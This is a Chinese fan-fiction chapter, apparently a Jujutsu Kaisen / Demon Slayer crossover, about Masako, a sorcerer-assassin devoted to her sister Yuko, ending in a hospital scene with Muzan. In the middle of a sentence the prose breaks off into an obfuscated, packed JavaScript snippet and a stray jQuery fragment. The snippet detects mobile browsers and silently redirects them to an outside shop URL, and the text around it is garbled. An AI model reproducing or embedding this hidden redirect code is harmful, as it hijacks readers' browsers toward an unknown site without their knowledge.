为什么我会出生在这个世界上呢?
父亲大人…
请你告诉我吧。
这样诞生的意义,这样存在的意义,是因为您的爱吗?
…
…
…
幼时雅子就能看到很多稀奇古怪的东西,她并不恐惧哪些常人所看不见的咒灵,相反她喜欢拿着东西,因为它们也能看见她。
作为家里的透明人,被看见是她唯一的心愿。
母亲是新宿红灯区的陪酒女郎,被金主看上后好了一段时间,对方腻了给了一大笔分手费。
这笔钱被母亲用在了养育她们身上。
姐姐裕子美丽漂亮,是妈妈的救命稻草,她要用这根稻草立足与菱川家族。
那时候她们还不姓菱川,母亲把一切关注都放在姐姐身上,姐姐成绩优异,还会乐器与古典舞蹈。
她没有一点这方面的天赋,身形也不纤细柔软,由于咒灵会攻击她为了避免受伤她开始各种锻炼,身上的肌肉变得越来越硬。
姐姐的外貌与母亲十分相像,像蔷薇般美艳,日渐衰老的母亲总会用皮肤松弛起褶皱的手抚摸姐姐光滑细腻如蛋白的脸颊。
那双眼神像藏着一根毒针,或者说像一条冷飕飕的蛇信子,总会用关东的方言说“真漂亮”。
家里没有镜子,因为常年酗酒母亲的脸上已经出现了不少斑点,衣食住行全都是她一手安排。
她很羡慕这样被看见的生活,自己的一切都是姐姐用剩下的。
就连生日也是。
关于未来如何,她其实没有任何想法,只要和姐姐在一起就好了。
因为家人就是要一直在身边。
这句话,是姐姐对她说的。
是的,姐姐对她很好。学了新的曲子会弹奏给她听,学会了新的舞蹈会跳给她看,有心事也会和她分享。
她爱着自己。
比任何人都爱自己。
住的这栋房子是二手货,楼下的房间被改造成了姐姐的舞蹈室。大暴雨的时候,二楼就会从天花板上滴水,然后他们就会拿着盆在滴水的地方接着。
“以后我一定会让妈妈和雅子住上大房子,最好有大院子,再也不用住在这种漏水的破楼了。”
幼时的自己最喜欢听姐姐说她在学校里的事情,今天练琴哪里进步了。凝视裕子笑起来亮晶晶的眼睛,就像阳光照在公园河畔波光粼粼的水面上一样,风一吹整个湖水都荡漾起来,她的心也随着湖水的涟漪荡漾。
裕子笑起来的时候眼睛会眯成一条微微弯起的弧线,眼头往下压,眼尾略微上扬。
有一种母亲年轻时候笑容的影子,却没有母亲的风情,反而像只天真的狐狸。
后来母亲重病,家里积蓄都掏空了。
她意外被黑中介找上来,接了有关祓除咒灵的单子,因为是野路子所以薪水也不高,不过总比打黑工强。
黑心中介抽成六分,因为她是未成年怕被抓,所以对自己说这六分是保险,保障她的安全。
神明将所有的天赋都点在了咒术这方面上了,从最开始的四级咒灵,到二级咒灵,她只用了半年时间。
后面中介开始给她一些暗杀的单子,任务中也认识了不少人,其中就有师傅。
师傅是二级咒术师,体术极其好,觉得她天资聪颖就开始是不是教导她一点咒术上面的东西。
她在师傅这里学会了黑闪。
人为财死鸟为食亡,师傅其实没有错。
他真心教导自己咒术,让自己成为了自己实力大涨,成为一级咒术师的水准。
可是这个世界上的巧合太多了,多到雅子偶尔会想如果当初自己没有同意菱川裕一郎回到菱川家族,是不是幸福就唾手可得了。
那个夸奖她、看见她天赋的人,是这个精明商人派来试探她水准的。
菱川裕一郎给了他3000美金,任务是将中村裕子灭口。
那天夜里下了大暴雨,从楼顶摔下去之后,师傅发出了类似橡皮泥落在地面上的声音。
雨水裹着血水淌在水泥地面上,流进旁边的下水管口里,听到枪响附近的居民第一时间就报了警。
是她在尸体上,对准师傅的后脑勺给了一枪。
用的还是他的□□pp,手感不错,她收下了这件战利品。
不知道菱川裕一郎怎么做的,总之师傅的死无人在意,更没有警察找上门。
那个自称父亲的人找上门来,看到生父那张已经逐渐老去的脸庞,她第一次感受到原来血缘如此奇妙。
姐姐的眉眼母亲,她的眉眼像父亲。
他对自己发起了邀约,让她为菱川家族效力,她去看了菱川家族的大房子。
不知道是什么风格的洋房,这种只在裕子的杂志书本里看到的华丽楼房,巨大的雕花黑色铁门进入后还有女佣和管家接待。
裕子的梦想实现了。
不知道为什么,裕子一点也不开心。
第一次裕子和她吵架了。
裕子,我可爱又美丽的姐姐,住在这样漂亮的大房子不正是你的心愿吗?为什么你会这么生气呢?
那天你的手掌拂过我的脸庞,是那样的用力,脸上留下来了你修长的手指印在我的脸庞上久久没有消去。
裕子,我纯洁如桔梗花般的姐姐,母亲培养你只是为将你献给那些贵公子。
如今她已经离去,你唯一能依靠的人,只有我了。
忘记是从几岁开始,雅子就不再叫裕子姐姐,而是直接叫她的名字。
母亲的姓氏再回到菱川家的时候,她们的姓氏就从中村改成了菱川,那段时间裕子的眼睛总是发红,正房并不住在这里,正房的孩子也不住在这里。
住在这里的是菱川裕一郎的几个私生子们,还有一些下人。
做的事情从祓除咒灵变成了各种追踪,调查,还有监视与暗杀。
菱川裕一郎与最大的□□合作,她被流放到那边去学习,学习的成果是她解决了二把手成功上位。
菱川裕一郎从来不称他自己为父亲,而是把他们的关系当成合作伙伴,其实她的身份更接近他手里的一把刀。
他操作着她,将刀口对准了谁的位置。
那段时间她太忙了,忙到没时间吃饭,忙到日夜颠倒,忙到与裕子出现了时差。
裕子结婚的消息,她都不知道。
十八的裕子,结婚了。
丈夫是咒术界御三家之一的加茂家族继承人——加茂秀一。
那个时候她在美国,没有参加裕子的婚礼,回来后政已经出生了。
政这个孩子和裕子很像,眼睛笑起来的弧度和裕子都一模一样,特别是嘴角处有颗和他母亲嘴边一模一样的黑色小痣。
生下孩子的裕子似乎变得开心了一点,变得沉静许多,她和母亲做母亲的时候不同,她看政的眼睛是笑着的。
当然,那样的笑容也并没有太久。
裕子的影子逐渐与逝去多年的母亲融合,她也不再喜欢自己的钢琴,也不再跳舞。
而是长期触摸拿着富太太的聚会。
清雅秀美的鸢尾变成了一株哀艳的玫瑰,带着浓烈古惑的香气,随着呼吸香气灌入鼻腔里。
加茂秀一这样的男人,真的能嗅到裕子的香气吗?
裕子三十一岁的那年在八幡市出了车祸,小腿上侧面留下来一道发白的缝合痕迹,降温的时候她的腿都会刺痛。
细长柔软的手指
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928882|213532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
往上的腕骨,也有一条这样的伤痕。
加茂秀一差点死在抢救的路上,政受伤的那只眼睛视力终生受损,裕子永远的失去了她的第二个孩子和子宫。
那个时候她从冲绳连夜赶过来,裕子躺在病床上脸色与嘴唇都有些灰白色。
如果不是她用手指靠近她的鼻息,雅子都以为她就这么离开了自己。
裕子透明的泪水湿润了她像乌鸦羽毛般的睫毛,眼睑颤动几下,泪珠子就落在了枕头上。
高级病房不像是病房,反而像一间豪华酒店,雅子第一次旷工了,她把工作全塞给了其他人自己来这里守着裕子。
每天汇报政和加茂秀一的情况,裕子听见政的消息得知他每天都在逐渐恢复才会心情好些,在这里雅子感觉到了久违的幸福。
脆弱的裕子需要自己,她重新看见了自己。
幸福…
幸福重新降临了。
降临在了豪华病房里。
所谓的幸福,就是如此的简单,只有裕子共处一室的,没有外人干扰的房间里就是雅子的幸福追求。
没有母亲说她是家里的拖油瓶,也没有菱川裕一郎下达的任务,什么人都没有。
只有裕子和她。
幸福很快就离开了雅子,在她将裕子不能再生育的事实告诉裕子的时候。
整整七年半,裕子都不再见她,就连电话都不愿意接听。
犹如镜花水月般的幸福。
雅子很可以自己没有把菱川家族争夺下来献给裕子,没有裕子她成了一柄卷刃的刀,没能将菱川裕一郎杀死,托着伤势离开了日本去了意大利。
1989年的12月,雅子在意大利的公寓里接到了裕子从日本京都打来的电话。
“我需要你。”
她从意大利飞回日本成为了加茂家族的女佣,负责照顾加茂家族的小女儿。
…
…
雅子低头凝视昏睡不醒的小女孩,今天是她照顾这个孩子的第十四年,这个孩子和曾经的裕子一样柔软纯净。
当年的裕子早已消失,在进入菱川家的豪华大别墅的时候就已经像冰块般逐渐的消融,罪魁祸首不是菱川裕一郎,而是她自己。
病房门外响起敲门声,雅子过去打开门,看到是无惨后颔首鞠躬,“家族大人,藤原先生。”
这个人是加茂秀一的朋友也是这家医院的主人,他身边站着一位医生礼貌的对雅子说,“我来查看一下加茂小姐的情况如何了。”
加茂雪樱为了救她咒力被榨干后就昏迷不醒,现在已经过去小半个月了,不知道是不是之前的病症发作了,雅子退出病房将门关上。
等雅子出去后,医生将推车已经准备好的东西注入到雪樱的体内。
无惨:“为什么她一直不醒?”
医生毕恭毕敬地低头回答:“您血液的力量强大,需要消化一段时间。之前注射的剂量十分少,这次如果不是她身体出现异常,也不会首次尝试大量注入。”
之前确实也有过昏睡的情况,但是也如医生所说这是第一次大剂量的注射自己的血液到她体内。
当年的诅咒不知道为什么,过了一千多年还在。
无惨手放在妹妹柔软的脸庞上,当初那个幼小的孩子已经出落的亭亭玉立,脸颊褪去了一些婴儿肥,躺在这里就像浮世绘上沉睡的美人图。
甚尔没有敲门就直接推门进入房间,他穿着灰黑色的和服,脚上穿着足袋踩着草鞋就进来,看见准备出来的羂索三人,还算有礼貌的对羂索打了声招呼。
总之,无视了身边的无惨。
容貌秀美得过分的青年,嘴角微微扬起一丝,转过身眼神阴毒地盯着往病房上走过去的禅院甚尔。